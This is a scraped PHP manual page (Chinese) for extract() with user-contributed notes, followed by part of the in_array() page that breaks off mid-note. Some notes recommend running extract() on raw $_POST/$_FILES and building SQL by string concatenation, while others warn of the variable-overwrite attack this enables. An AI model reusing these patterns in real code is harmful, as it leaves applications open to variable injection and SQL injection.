不要对不能信任的数据使用 extract()，例如用户的输入（$_GET， $_FILES，...）。如果这样做，举例说，要临时运行依赖于 register_globals 的老代码，要确保使用不会覆盖的 extract_type 值，例如 EXTR_SKIP，并且要留意应该按照 variables_order 在 php.ini 里 定义的顺序来提取。

Note:

If you still have register_globals and it is turned on, if you use extract() on $_FILES and specify EXTR_SKIP, you may be surprised at the results.

Warning

This is not recommended practice and is only documented here for completeness. The use of register_globals is deprecated and calling extract() on untrusted data such as $_FILES is, as noted above, a potential security risk. If you encounter this issue, it means that you are using at least two poor coding practices.

<?php

/* Suppose that $testfile is the name of a file upload input
   and that register_globals is turned on. */

var_dump($testfile);
extract($_FILES, EXTR_SKIP);
var_dump($testfile);
var_dump($testfile['tmp_name']);

?>
You might expect to see something like the following:
string(14) "/tmp/phpgCCPX8"
array(5) {
  ["name"]=>
  string(10) "somefile.txt"
  ["type"]=>
  string(24) "application/octet-stream"
  ["tmp_name"]=>
  string(14) "/tmp/phpgCCPX8"
  ["error"]=>
  int(0)
  ["size"]=>
  int(4208)
}
string(14) "/tmp/phpgCCPX8"
However, you would instead see something like this:
string(14) "/tmp/phpgCCPX8"
string(14) "/tmp/phpgCCPX8"
string(1) "/"

This is due to the fact that since register_globals is turned on, $testfile already exists in the global scope when extract() is called. And since EXTR_SKIP is specified, $testfile is not overwritten with the contents of the $_FILES array so $testfile remains a string. Because strings may be accessed using array syntax and the non-numeric string tmp_name is interpreted as 0, PHP sees $testfile['tmp_name'] as $testfile[0].

参见

  • compact() - 建立一个数组，包括变量名和它们的值
  • list() - 把数组中的值赋给一组变量

User Contributed Notes

amolocaleb at gmail dot com 26-Jul-2018 05:14
If an object is typecasted into an array and "extracted",only the public properties will be accessible.Methods are of course omitted.
<?php
class Test{
    public $name = '';

    protected $age = 10;

    public $status = 'disabled';

    private $isTrue = false;

    public function __construct()
    {
        $this->name = 'Amolo';
        $this->status = 'active';
    }

    public function getName()
    {
        return $this->name;
    }

    public function getAge()
    {
        return $this->age;
    }

    public function getStatus()
    {
        return $this->status;
    }

}

$obj = (array) new Test();
var_dump($obj);
/* array(4) { ["name"]=> string(5) "Amolo" ["*age"]=> int(10) ["status"]=> string(6) "active" ["TestisTrue"]=> bool(false) } */
extract((array)new Test());
echo  $name; //Amolo
echo  $status; //active
echo $age;//Notice: Undefined variable: age
echo $isTrue;//Notice: Undefined variable: isTrue
phatsk+php at gmail dot com 18-Jun-2018 06:59
Using extract's return parameter can lead to unintended results, particularly with EXTR_REFS:

<?php

$my_data = [
    'count' => 15,
    'name' => 'foo',
];

$count = extract( $my_data, EXTR_REFS );

echo $my_data['count']; // 2, not 15.
mrkhoa99 at gmail dot com 29-May-2018 03:29
We can use extract () function for Template Engine:

<?php
#Template.php

class Template
{
    protected $viewVars;

    public function renderPage($tpl)
    {
        ob_start();
        extract($this->viewVars, EXTR_SKIP);
        include $tpl;
        return ob_end_flush();
    }

    public function assign($arr)
    {
        foreach ($arr as $key => $value) {
            $this->viewVars[$key] = $value;
        }
        return $this;
    }
}

$template = new Template();
$template->assign(
   [ 'pageHeader' => 'Page Header', 'content' => 'This is the content page']
);
$template->renderPage('tpl.php');

#tpl.php

<h1><?= $pageHeader; ?></h1>
<p><?= $content ;?></p>

Output:

Page Header
This is the content page
bob 18-Jan-2015 08:35
Note that extract() will only create or overwrite variables in the current scope, so
<?
function test(){
 $a=Array('b'=>1,'c'=>2);
 extract($a);
}
test();
exit("$b");
?>
will produce no output, whereas
<?
function test(){
 global $b;
 $a=Array('b'=>1,'c'=>2);
 extract($a);
}
test();
exit("$b");
?>
will output 1.
dmikam 18-Sep-2014 10:18
I have made some tests to compare the speed of next constructions:
<?php

extract($ARRAY);

// vs.

foreach($ARRAY as $key=>$value)
    $$key = $value;
?>

Surprisingly for me extract is 20%-80% slower then foreach construction. I don't really understand why, but it's so.
CertaiN 10-Jan-2014 04:38
[New Version]

Example Usage:
<?php
$_GET['A']['a'] = '  CORRECT(including some spaces)    ';
$_GET['A']['b'] = '  CORRECT(including some spaces)    ';
$_GET['A']['c'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['A']['d']['invalid_structure'] = 'INVALID';

$_GET['B']['a'] = '  CORRECT(including some spaces)    ';
$_GET['B']['b'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['B']['c']['invalid_structure'] = 'INVALID';
$_GET['B']["Invalid UTF-8 sequence: \xe3\xe3\xe3"] = 'INVALID';

$_GET['C']['a'] = '  CORRECT(including some spaces)    ';
$_GET['C']['b'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['C']['c']['invalid_structure'] = 'INVALID';
$_GET['C']["Invalid UTF-8 sequence: \xe3\xe3\xe3"] = 'INVALID';

$_GET['unneeded_item'] = 'UNNEEDED';

var_dump(filter_struct_utf8(INPUT_GET, array(
    'A' => array(
        'a' => '',
        'b' => FILTER_STRUCT_TRIM,
        'c' => '',
        'd' => '',
    ),
    'B' => FILTER_STRUCT_FORCE_ARRAY,
    'C' => FILTER_STRUCT_FORCE_ARRAY | FILTER_STRUCT_TRIM,
)));
?>

Example Result:
array(3) {
  ["A"]=>
  array(4) {
    ["a"]=>
    string(36) "  CORRECT(including some spaces)    "
    ["b"]=>
    string(30) "CORRECT(including some spaces)"
    ["c"]=>
    string(0) ""
    ["d"]=>
    string(0) ""
  }
  ["B"]=>
  array(3) {
    ["a"]=>
    string(36) "  CORRECT(including some spaces)    "
    ["b"]=>
    string(0) ""
    ["c"]=>
    string(0) ""
  }
  ["C"]=>
  array(3) {
    ["a"]=>
    string(30) "CORRECT(including some spaces)"
    ["b"]=>
    string(0) ""
    ["c"]=>
    string(0) ""
  }
}
CertaiN 10-Jan-2014 04:37
[New Version]
This function is very useful for filtering complicated array structure.
Also, Some integer bitmasks and invalid UTF-8 sequence detection are available.

Code:
<?php
/**
 * @param  integer $type    Constant like INPUT_XXX.
 * @param  array   $default Default structure of the specified super global var.
 *                          Following bitmasks are available:
 *  + FILTER_STRUCT_FORCE_ARRAY - Force 1 dimensional array.
 *  + FILTER_STRUCT_TRIM        - Trim by ASCII control chars.
 *  + FILTER_STRUCT_FULL_TRIM   - Trim by ASCII control chars,
 *                                full-width and no-break space.
 * @return array            The value of the filtered super global var.
 */
define('FILTER_STRUCT_FORCE_ARRAY', 1);
define('FILTER_STRUCT_TRIM', 2);
define('FILTER_STRUCT_FULL_TRIM', 4);
function filter_struct_utf8($type, array $default) {
    static $func = __FUNCTION__;
    static $trim = "[\\x0-\x20\x7f]";
    static $ftrim = "[\\x0-\x20\x7f\xc2\xa0\xe3\x80\x80]";
    static $recursive_static = false;
    if (!$recursive = $recursive_static) {
        $types = array(
            INPUT_GET => $_GET,
            INPUT_POST => $_POST,
            INPUT_COOKIE => $_COOKIE,
            INPUT_REQUEST => $_REQUEST,
        );
        if (!isset($types[(int)$type])) {
            throw new LogicException('unknown super global var type');
        }
        $var = $types[(int)$type];
        $recursive_static = true;
    } else {
        $var = $type;
    }
    $ret = array();
    foreach ($default as $key => $value) {
        if ($is_int = is_int($value)) {
            if (!($value | (
                FILTER_STRUCT_FORCE_ARRAY |
                FILTER_STRUCT_FULL_TRIM |
                FILTER_STRUCT_TRIM
            ))) {
                $recursive_static = false;
                throw new LogicException('unknown bitmask');
            }
            if ($value & FILTER_STRUCT_FORCE_ARRAY) {
                $tmp = array();
                if (isset($var[$key])) {
                    foreach ((array)$var[$key] as $k => $v) {
                        if (!preg_match('//u', $k)){
                            continue;
                        }
                        $value &= FILTER_STRUCT_FULL_TRIM | FILTER_STRUCT_TRIM;
                        $tmp += array($k => $value ? $value : '');
                    }
                }
                $value = $tmp;
            }
        }
        if ($isset = isset($var[$key]) and is_array($value)) {
            $ret[$key] = $func($var[$key], $value);
        } elseif (!$isset || is_array($var[$key])) {
            $ret[$key] = null;
        } elseif ($is_int && $value & FILTER_STRUCT_FULL_TRIM) {
            $ret[$key] = preg_replace("/\A{$ftrim}++|{$ftrim}++\z/u", '', $var[$key]);
        } elseif ($is_int && $value & FILTER_STRUCT_TRIM) {
            $ret[$key] = preg_replace("/\A{$trim}++|{$trim}++\z/u", '', $var[$key]);
        } else {
            $ret[$key] = preg_replace('//u', '', $var[$key]);
        }
        if ($ret[$key] === null) {
            $ret[$key] = $is_int ? '' : $value;
        }
    }
    if (!$recursive) {
        $recursive_static = false;
    }
    return $ret;
}
?>
FredLawl 13-May-2013 02:56
It is possible to use this as a way to create public attributes for a class.

<?php
class Foo {

  public function __construct ($array) {

      extract($array, EXTR_REFS);
      foreach ($array as $key => $value) {
          $this->$key = $$key;
          // Do: $this->key = $key; if $key is not a string.
      }

  }

}

$array = array(
    'valueOne'      => 'Test Value 1',
    'valueTwo'      => 'Test Value 2',
    'valueThree'    => 'Test Value 3'
);

$foo = new Foo($array);

// Works
echo $foo->valueOne; // Test Value 1
echo $foo->valueTwo; // Test Value 2

// Does not work!
echo $foo::$valueOne; // Fatal error:  Access to undeclared static property: Test::$valueOne
?>
dotslash.lu at gmail.com 29-Apr-2013 12:55
You can't extract a numeric indexed array(e.g. non-assoc array).
<?php
$a = array(
  1,
  2
);
extract($a);
var_dump(${1});
?>

result:
PHP Notice:  Undefined variable: 1 in /Users/Lutashi/t.php on line 7

Notice: Undefined variable: 1 in /Users/Lutashi/t.php on line 7
NULL
Robc 01-Nov-2011 06:30
When extracting from a row after a database query using for example:

$row = mysql_fetch_array($result, MYSQL_ASSOC)
extract($row);

I find that the resultant variables may not match the variable type in the database.  In particular I have found integers in the database may gettype() to string on the extracted variable.
Rodrigo 15-Jun-2010 09:41
Here's a way to use extract in $_FILES arrays without using register_gloabals on.

I started to use extract a few weeks ago, and my codes hasn't been so clean since then. The use of the arrays $_POST and $_GET is ok, but one missed doublequote causes a lot of trouble.

Besides I teach PHP in a school, and this function has made my examples easier.

<?php
if(isset($_FILES["file"])){
    extract($_FILES);
    extract($file);
    echo $name."<br>";
    echo $tmp_name."<br>";
    echo $size."<br>";
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Documento sin t&iacute;tulo</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<form action="" method="post" enctype="multipart/form-data" name="form1">
  <p>
    <input type="file" name="file">
</p>
  <p>
    <input type="submit" name="Submit" value="Enviar">
</p>
</form>
</body>
</html>

Hope this can help anyone.
auto493097 at hushmail dot com 23-Feb-2010 10:07
I use XDebug with NetbeansIDE to for analyzing and developing PHP Code. When debugging an extract statement no new variables appeared in the variable's list. Although all variables created by extract could be examined by explicit watch items and single variables appeared as soon as an PHP script makes use of them I am not sure weather it is a wrong configuration, a feature or a bug in XDebug.
danbettles at yahoo dot co dot uk 24-Aug-2009 04:04
When using EXTR_PREFIX_ALL - and probably all the other EXTR_PREFIX_* constants - and a numerically-indexed array, extract() will add an underscore ("_") between the prefix and the index.

<?php

extract(array('foo', 'bar'), EXTR_PREFIX_ALL, 'var');

print_r(get_defined_vars());  // Reveals $var_0 = 'foo' and $var_1 = 'bar'
?>
benjaminATwebbutvecklarnaDOTse 16-Mar-2008 07:15
In the meantime, I'm using this:

// extract alternative
# extracts variables where new value is above the threshold or if old value is on or below the threshold (or var is not defined)
# an associative array is obviously the sane thing to pass
#
# I am absolutely certain someone will find obvious problems or errors with this
# I haven't even tried to compare other values than 0 so if you need to do that and surely finds obvious flaws,
# please mail me, I'd really like to know.
# benjaminATwebbutvecklarnaDOTse

// usage example:
# thrextract(mysql_fetch_assoc(mysql_query("SELECT preset_this,preset_that FROM site_preset WHERE ID = $site_id")));
# thrextract(mysql_fetch_assoc(mysql_query("SELECT preset_this,preset_that FROM category_preset WHERE ID = $category_id")));

function thrextract($arr,$thr = 0){
    foreach($arr as $key => $var){
        global $$key;
        if($var > $thr or $$key <= $thr) $$key = $var;
    }
}
benjaminATwebbutvecklarnaDOTse 16-Mar-2008 06:19
Re: anon at anon dot org, about extract() and null values

Personally I've found use extracting multiple resultsets from db where the latter would overwrite the previous when a variable is not null ( and optionally if its not >0 )

It would be useful if $extract_type was extended on top of these two:

EXTR_OVERWRITE
EXTR_SKIP

with something like this:

EXTR_OVERWRITE_NULL
 - If there is a collision, overwrite the existing variable if it is null

EXTR_OVERWRITE_0
 - Same thing but == 0 or null

EXTR_SKIP_NULL
 - If there is a collision, skip the new variable if the existing is not null

EXTR_SKIP_0
 - Same thing but == 0 or null

Those ought to cover a few good cases that aren't covered now.
Hayley Watson 13-Mar-2008 03:18
Dan O'Donnell's suggestion needs a third requirement to work as described:

c) No other variables are defined - especially variables that contain potentially sensitive information.

Without that condition the difference between extract() and assigning variables by hand (and the resulting security implications) should be obvious.

The only valid security step there is (b) - but you should be doing that anyway.
Dan O'Donnell 21-Apr-2007 12:25
Following up on ktwombley at gmail dot com's post:

Presumably one easy way of dealing with this security issue is to use the EXTR_IF_EXISTS flag and make sure

a) your define acceptable input variables beforehand (i.e. as empty variables)
b) Sanitise any user input to avoid unacceptable variable content.

If you do these two things, then I'm not sure I see the difference between extract($_REQUEST,EXTR_IF_EXISTS); and assigning each of the variables by hand.

I'm not talking here about the idea of storing the variables in a database, just the immediately necessary steps to allow you to use extract on REQUEST arrays with relative safety.
Dutchdavey 13-Mar-2007 12:26
I would draw your attention to the user note at the very end of this page regarding PREFIXES. The user points out that php adds a '_' to your prefixes.
ktwombley at gmail dot com 31-Aug-2006 10:05
It's really easy to open gaping security holes using extract() on $_REQUEST, $_GET, etc. You have to be really sure of what you're doing, and use the proper flags on extract() to avoid clobbering important variables.

For instance, the submission by kake26 at gmail dot com will not only perfectly emulate register globals (that's bad), but it'll store it in a database and recall the same variables every time the script runs (essentially allowing an attacker to attack your script every time it runs via one attack). Oops!

To fix it, you'd have to get creative with flags. Maybe you could use EXTR_PREFIX_ALL instead of EXTR_OVERWRITE, for example. Of course, you should also sanitize the form elements to ensure there's no php code in them, and also to make sure any very important variables aren't in the form data. (like the classic $is_admin = true attack)
nicolas zeh 16-Mar-2006 09:24
This function provides exactly the same functionality as extract except that a parameter was added defining the extract target.
This function can be used if your PHP installation does not support the required Flags or more important if you would like to extract arrays to another destination as to $GLOBALS, i.e. other arrays or objects.
The only difference to extract is that extract_to moves the array pointer of $arr to the end as $arr is passed by reference to support the EXTR_REFS flag.

<?php
    if( !defined('EXTR_PREFIX_ALL') ) define('EXTR_PREFIX_ALL', 3);
    if( !defined('EXTR_PREFIX_INVALID') ) define('EXTR_PREFIX_INVALID', 4);
    if( !defined('EXTR_IF_EXISTS') ) define('EXTR_IF_EXISTS', 5);
    if( !defined('EXTR_PREFIX_IF_EXISTS') ) define('EXTR_PREFIX_IF_EXISTS', 6);
    if( !defined('EXTR_REFS') ) define('EXTR_REFS', 256);

    function extract_to( &$arr, &$to, $type=EXTR_OVERWRITE, $prefix=false ){

        if( !is_array( $arr ) ) return trigger_error("extract_to(): First argument should be an array", E_USER_WARNING );

        if( is_array( $to ) ) $t=0;
        else if( is_object( $to ) ) $t=1;
        else return trigger_error("extract_to(): Second argument should be an array or object", E_USER_WARNING );

        if( $type==EXTR_PREFIX_SAME || $type==EXTR_PREFIX_ALL || $type==EXTR_PREFIX_INVALID || $type==EXTR_PREFIX_IF_EXISTS )
            if( $prefix===false ) return trigger_error("extract_to(): Prefix expected to be specified", E_USER_WARNING );
            else $prefix .= '_';

        $i=0;
        foreach( $arr as $key=>$val ){

            $nkey = $key;
            $isset = $t==1 ? isset( $to[$key] ) : isset( $to->$key );

            if( ( $type==EXTR_SKIP && $isset )
                || ( $type==EXTR_IF_EXISTS && !$isset ) )
                    continue;

            else if( ( $type==EXTR_PREFIX_SAME && $isset )
                || ( $type==EXTR_PREFIX_ALL )
                || ( $type==EXTR_PREFIX_INVALID && !preg_match( '#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $key ) ) )
                    $nkey = $prefix.$key;

            else if( $type==EXTR_PREFIX_IF_EXISTS )
                if( $isset ) $nkey = $prefix.$key;
                else continue;

            if( !preg_match( '#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $nkey ) ) continue;

            if( $t==1 )
                if( $type & EXTR_REFS ) $to->$nkey = &$arr[$key];
                else $to->$nkey = $val;
            else
                if( $type & EXTR_REFS ) $to[$nkey] = &$arr[$key];
                else $to[$nkey] = $val;

            $i++;
        }

        return $i;
    }

    // e.g.:
    extract_to( $myarray, $myobject, EXTR_IF_EXISTS );
?>
owk dot ch199_ph at gadz dot org 08-Mar-2006 04:21
And if you want with PHP 5 an easy way to extract $V by reference, try this :
<?php
    foreach ($V as $k => &$v) {
        $$k =& $v;
    }
?>
It can be used to create special kind of "free args" functions that let you choose when you call them the way you send variables, and which ones. They are moreover very fast to call thanks to references :
<?php
    function free_args (&$V) {
        foreach ($V as $k => &$v) {
            $$k =& $v;
        }
        unset ($k);  unset ($v);  unset ($V);

        // be careful that if you need to extract $k, $v or $V variables you should find other names for them in the lines above (ie. $__k, $__v and $__V)
    }

    $huge_text = '...';

    $a = array ('arg1' => 'val1', 'arg2' => &$huge_text); // in this call, only $arg2 will be a true reference in the function
    free_args ($a);
?>
Be warned that you can't write : "<?php free_args (array ('arg1' => 'val1')); ?>" because the array can't be referenced by the function, as it's not yet created when the function starts.
moslehi<atsign>gmail<d0t>c0m 20-Jan-2006 01:32
Experimentally I found that calling extract() also shows the number of keys if the key is set and is not numeric ! Maybe there was a better definition than mine  . Please have a look to this scripts :

<?PHP
$var["i"] = "a";
$var["j"] = "b";
$var["k"] = 1;
echo extract($var); // returns 3
?>

<?PHP
$var2["i"] = "a";
$var2[2] = "b";
$var2[] = 1;
echo extract($var2); // returns 1
?>

(Arash Moslehi)
Csaba at alum dot mit dot edu 27-Nov-2005 11:41
Sometimes you may want to extract only a named subset of the key/value pairs in an array.  This keeps things more orderly and could prevent an unrelated variable from getting clobbered from an errant key.  For example,

$things = 'unsaid';
$REQUEST = array(He=>This, said=>1, my=>is, info=>2, had=>a,
                 very=>3, important=>test, things=>4);
$aVarToExtract = array(my, important, info);
extract (array_intersect_key ($REQUEST, array_flip($aVarToExtract)));

will extract
$my = 'is';
$important = 'test';
$info = 2;

but will leave certain
$things = 'unsaid'

Csaba Gabor from Vienna
NB.  Of course the composite request coming in from a web page is in $_REQUEST.
anon at anon dot org 30-May-2005 12:02
A warning about extract() and null values.

This might be an actual Zend2 Engine bug, but it's bad programming practice, so I'm sharing it here instead.

I often work in envrionments where E_STRICT (which would prevent errors like this) isn't on, and I don't have access to change it. I also use a very simple template class that in a nutshell works like this:

$t = new Template('somefile.php');
$t->title = $title;
$t->body = $body;
$t->display();

display() more or less looks like this:

function display(){
    extract(get_object_vars($this),EXTR_REFS);
    ob_start(); include $this->templateFileName;
    return ob_get_clean();
}

If any of the assigned values are null (let's say that in this case $title wasn't initialized above) it causes the engine to do all sorts of incredibly whacky stuff like certifiably lose track of variables in an incredibly inconsistent way. I traced the problem down to the fact that it's using the EXTR_REFS flag. I assume that in PHP's internal variable storage or reference counting mechanism, that trying to extract null references makes it lose track or count of something or rather.

In a nutshell, if you start getting wierd behavior when using extract() make sure that the array or object you are trying to get variables out of doesn't contain null keys or values!
kake26 at gmail dot com 30-Apr-2005 08:59
The following is a neat use for extract to store and manipulate large amounts of form data from. I basically loop through the $_POST and implode it seperating the key and value pairs by a space. Then store it in a db, the reversing function basically explodes the string to a array. Then converts the indexed array to a associative array then uses extract to seal the deal and make it easily available within a program. My main reason for sharing these are the fact I make some big web applications that store allot of forum data in a DB and these functions make it very easy to quickly and easily store and recall the data. I've contributed it because I spent many hours creating this code and recall going "I wish someone had previously submitted it to the page notes". Would have saved me allot of time and agony and I'm sure I'm not the only person that could really benefit from it, so I decided to share.

<?php
$stack = array();
foreach ($_POST as $key => $value) {
array_push($stack, $key, $value);
}
// store it
$block = implode(" ",$stack); // yeilds a space delimited string
// insert query to store string in DB here, like the one below
$query = "INSERT INTO `sometable` VALUES('".$seluser."','".addslashes($block)."');";
$result = mysql_query($query) or die("Query failed for block insert: " . mysql_error());
// note $seluser in my case is a user ID associated with that block
// in one of my web apps
?>

The nice thing is with the above we can quickly create a string of key and value pairs from the data the script got. Without really caring what their names are. You know how if register globals are on you say $someformvar rather than $_POST["someformvar"]; , basically the code below reads this previous created block returns it to that state. Sort of like presistant register globals.

<?php
// insert query to grab the previously stored string here
$query = "SELECT * FROM `sometable` WHERE `blockid` = '".addslashes($bid)."';";
$result = mysql_query($query) or die("Query failed read: " . mysql_error());
$sql = mysql_fetch_array($result, MYSQL_ASSOC);
$array = eplode(" ",$sql["data"]);
for ($i = 0; $i < sizeof($array); $i+=2) {
$myassoc[$array[$i]] = isset($array[$i+1])?$array[$i+1]:NULL;
}
extract($myassoc, EXTR_OVERWRITE);
// now you're key and value pairs from $_POST have been restored
// instead of $_POST
?>
pg dot perfection at gmail dot com 14-Mar-2005 02:33
Here is a little example of how an extraction method should look like when it needs to work recursive (work on nested_arrays too)...

Note that this is only an example, it can be done more easily, and more advanced too.

<?php
/**
 * A nested version of the extract () function.
 *
 * @param    array    $array        The array which to extract the variables from
 * @param    int        $type        The type to use to overwrite (follows the same as extract () on PHP 5.0.3
 * @param    string    $prefix        The prefix to be used for a variable when necessary
 */
function extract_nested (&$array, $type = EXTR_OVERWRITE, $prefix = '')
{
    /**
     *  Is the array really an array?
     */
    if (!is_array ($array))
    {
        return trigger_error ('extract_nested (): First argument should be an array', E_USER_WARNING);
    }

    /**
     *  If the prefix is set, check if the prefix matches an acceptable regex pattern
     * (the one used for variables)
     */
    if (!empty ($prefix) && !preg_match ('#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $prefix))
    {
        return trigger_error ('extract_nested (): Third argument should start with a letter or an underscore', E_USER_WARNING);
    }

    /**
     * Check if a prefix is necessary. If so and it is empty return an error.
     */
    if (($type == EXTR_PREFIX_SAME || $type == EXTR_PREFIX_ALL || $type == EXTR_PREFIX_IF_EXISTS) && empty ($prefix))
    {
        return trigger_error ('extract_nested (): Prefix expected to be specified', E_USER_WARNING);
    }

    /**
     * Make sure the prefix is oke
     */
    $prefix = $prefix . '_';

    /**
     *  Loop thru the array
     */
    foreach ($array as $key => $val)
    {
        /**
         *  If the key isn't an array extract it as we need to do
         */
        if (!is_array ($array[$key]))
        {
            switch ($type)
            {
                default:
                case EXTR_OVERWRITE:
                    $GLOBALS[$key] = $val;
                break;
                case EXTR_SKIP:
                    $GLOBALS[$key] = isset ($GLOBALS[$key]) ? $GLOBALS[$key] : $val;
                break;
                case EXTR_PREFIX_SAME:
                    if (isset ($GLOBALS[$key]))
                    {
                        $GLOBALS[$prefix . $key] = $val;
                    }
                    else
                    {
                        $GLOBALS[$key] = $val;
                    }
                break;
                case EXTR_PREFIX_ALL:
                    $GLOBALS[$prefix . $key] = $val;
                break;
                case EXTR_PREFIX_INVALID:
                    if (!preg_match ('#^[a-zA-Z_\x7f-\xff]$#', $key{0}))
                    {
                        $GLOBALS[$prefix . $key] = $val;
                    }
                    else
                    {
                        $GLOBALS[$key] = $val;
                    }
                break;
                case EXTR_IF_EXISTS:
                    if (isset ($GLOBALS[$key]))
                    {
                        $GLOBALS[$key] = $val;
                    }
                break;
                case EXTR_PREFIX_IF_EXISTS:
                    if (isset ($GLOBALS[$key]))
                    {
                        $GLOBALS[$prefix . $key] = $val;
                    }
                break;
                case EXTR_REFS:
                    $GLOBALS[$key] =& $array[$key];
                break;
            }
        }
        /**
         *  The key is an array... use the function on that index
         */
        else
        {
            extract_nested ($array[$key], $type, $prefix);
        }
    }
}
?>
Michael Newton 02-Mar-2005 05:23
They say "If the result is not a valid variable name, it is not imported into the symbol table."

What they should say is that if _any_ of the results have invalid names, _none_ of the variables get extracted.

Under 4.3.10 on Windows 2000, I was pulling some mySQL records, but needed to convert two fields into IP addresses:
<?
extract(mysql_fetch_assoc(mysql_query('SELECT * FROM foo')));
extract(mysql_fetch_assoc(mysql_query('SELECT INET_NTOA(bar) AS bar, INET_NTOA(baz) FROM foo')));
?>

I had forgotten the second AS modifier in the SQL query.  Because it couldn't extract a variable called INET_NTOA(baz) into the symbol table, it didn't do either of them.

(BTW I don't normally stack functions up like that!  Just to make a short example!)
21-Feb-2005 07:31
To make this perfectly clear (hopefully), an underscore is always added when the string is prefixed.
extract(array("color" => "blue"),EXTR_PREFIX_ALL,'');// note: prefix is empty
is the same as
$color='_blue';
Aaron Stone 17-Nov-2004 10:44
If you are working porting an older application, and taking the advice above, extracting only _SERVER, _SESSING, _COOKIE, _POST, _GET, you have forgotten to extract _FILES. Putting _FILES last and using EXTR_SKIP doesn't work because the name of the file upload box is already set as a variable containing only the temporary name of the uploaded file from one of the earlier extracts (I haven't tested to see which one specifically, however). A workaround is to put _FILES last and use EXTR_OVERWRITE. This allows extract to replace that temp-name-only variable with the full array of file upload information.
Adam Monsen <adamm at wazamatta dot com> 02-Oct-2004 05:03
As shown in the example, if your 'prefix' is used, a single underscore is added to the name of the extracted variable. Meaning, a prefix of 'p' becomes a prefix of 'p_', so 'blarg' prefixed would be 'p_blarg'.

If you're not sure what variables you've created through extraction, you can call get_defined_vars() to see all defined variables in the current scope.


检查数组中是否存在某个值

  • ? extract
  • key_exists ?
  • PHP Manual
  • 数组 函数
  • 检查数组中是否存在某个值

in_array

(PHP 4, PHP 5, PHP 7)

in_array — 检查数组中是否存在某个值

说明

in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) : bool

大海捞针，在大海（haystack）中搜索针（ needle），如果没有设置 strict 则使用宽松的比较。

参数

needle

待搜索的值。

Note:

如果 needle 是字符串，则比较是区分大小写的。

haystack

待搜索的数组。

strict

如果第三个参数 strict 的值为 TRUE 则 in_array() 函数还会检查 needle 的类型是否和 haystack 中的相同。

返回值

如果找到 needle 则返回 TRUE，否则返回 FALSE。

范例

Example #1 in_array() 例子

<?php
$os = array("Mac", "NT", "Irix", "Linux");
if (in_array("Irix", $os)) {
    echo "Got Irix";
}
if (in_array("mac", $os)) {
    echo "Got mac";
}
?>

第二个条件失败，因为 in_array() 是区分大小写的，所以以上程序显示为：

Got Irix

Example #2 in_array() 严格类型检查例子

<?php
$a = array('1.10', 12.4, 1.13);

if (in_array('12.4', $a, true)) {
    echo "'12.4' found with strict check\n";
}

if (in_array(1.13, $a, true)) {
    echo "1.13 found with strict check\n";
}
?>

以上例程会输出：

1.13 found with strict check

Example #3 in_array() 中用数组作为 needle

<?php
$a = array(array('p', 'h'), array('p', 'r'), 'o');

if (in_array(array('p', 'h'), $a)) {
    echo "'ph' was found\n";
}

if (in_array(array('f', 'i'), $a)) {
    echo "'fi' was found\n";
}

if (in_array('o', $a)) {
    echo "'o' was found\n";
}
?>

以上例程会输出：

  'ph' was found
  'o' was found

参见

  • array_search() - 在数组中搜索给定的值，如果成功则返回首个相应的键名
  • isset() - 检测变量是否已设置并且非 NULL
  • array_key_exists() - 检查数组里是否有指定的键名或索引

User Contributed Notes

roman dot varuta at gmail dot com 06-Nov-2018 01:53
If array contain at least one true value, in_array() will return true every times if it is not false or null

Use strict = true

<?php

$arr = array(true);

in_array($any, $arr); // Will return true every time except null and false

?>
iammanjil at gmail dot com 25-Oct-2018 08:00
If third parameter is not set to Strict then, the needle is found in haystack eventhought the values are not same. the limit behind the decimal seems to be 6 after which, the haystack and needle match no matter what is behind the 6th.

Wrong Response.
$os = array("652875063.10089021");
if (in_array("652875063.10089021", $os)) {
    echo "In Array";
}

Correct Response
$os = array("652875063.1008902");
if (in_array("652875063.1008901", $os)) {
    echo "In Array";
}
msegit post pl 18-Jul-2018 12:20
You can use my function inArray, to search:
- multidimensional arrays
- for substrings (case [in]sensitive)
- for sub-arrays
- get array of keys of found values
Look at github https://gist.github.com/msegu/80093a65316ded5b69558d5456f80ff9 (here is too long)
Carmen 15-Feb-2018 11:16
Esta función falla con las letras acentuadas y con las e?es. Por tanto, no sirve para los caracteres UTF-8.
El siguiente código falla para na cadena = "María Ma?as", no reconoce ni la "í" ni la "?":

    function validarNombreYApellidos ($cadena, $selector)
    {
        /* Se admiten las letras (he puesto sólo las mayusculas,
             porque paso la cadena con el nombre o
             el apellido a mayúscula antes de hacer la comparación),
             las vocales acentuadas, la diéresis,
             las e?es, los espacios en blanco y el guión
            (para los apellidos compuestos)*/
        $caracteresPermitidos =
               array ("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M",
                          "N", "?", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
                          "Y",  "Z", " ", "á", "é", "í", "ó", "ú", "ü", "-");

        $correcto = true;

        // ?La cadena está vacía?
        if (empty ($cadena))
        {
            $correcto = false;
        }
        else
        {
            $nombreOapellido = mb_strtoupper ($cadena, "utf-8");
            $longitudCadena = mb_strlen ($cadena, "utf-8");

            for ($i = 0; ($i < $longitudCadena) && $correcto; $i++)
            {
                if (!in_array ($nombreOapellido [$i],
                                     $caracteresPermitidos))
                {
                    // Se ha encontrado un carácter no permitido
                    $correcto = false;
                }
            }
        }
            return $correcto;
     }
Carmen 15-Feb-2018 11:15
Esta función falla con las letras acentuadas y con las e?es. Por tanto, no sirve para los caracteres UTF-8.
El siguiente código falla para na cadena = "María Ma?as", no reconoce ni la "í" ni la "?":

    function validarNombreYApellidos ($cadena, $selector)
    {
        /* Se admiten las letras (he puesto sólo las mayusculas,
             porque paso la cadena con el nombre o
             el apellido a mayúscula antes de hacer la comparación),
             las vocales acentuadas, la diéresis,
             las e?es, los espacios en blanco y el guión
            (para los apellidos compuestos)*/
        $caracteresPermitidos =
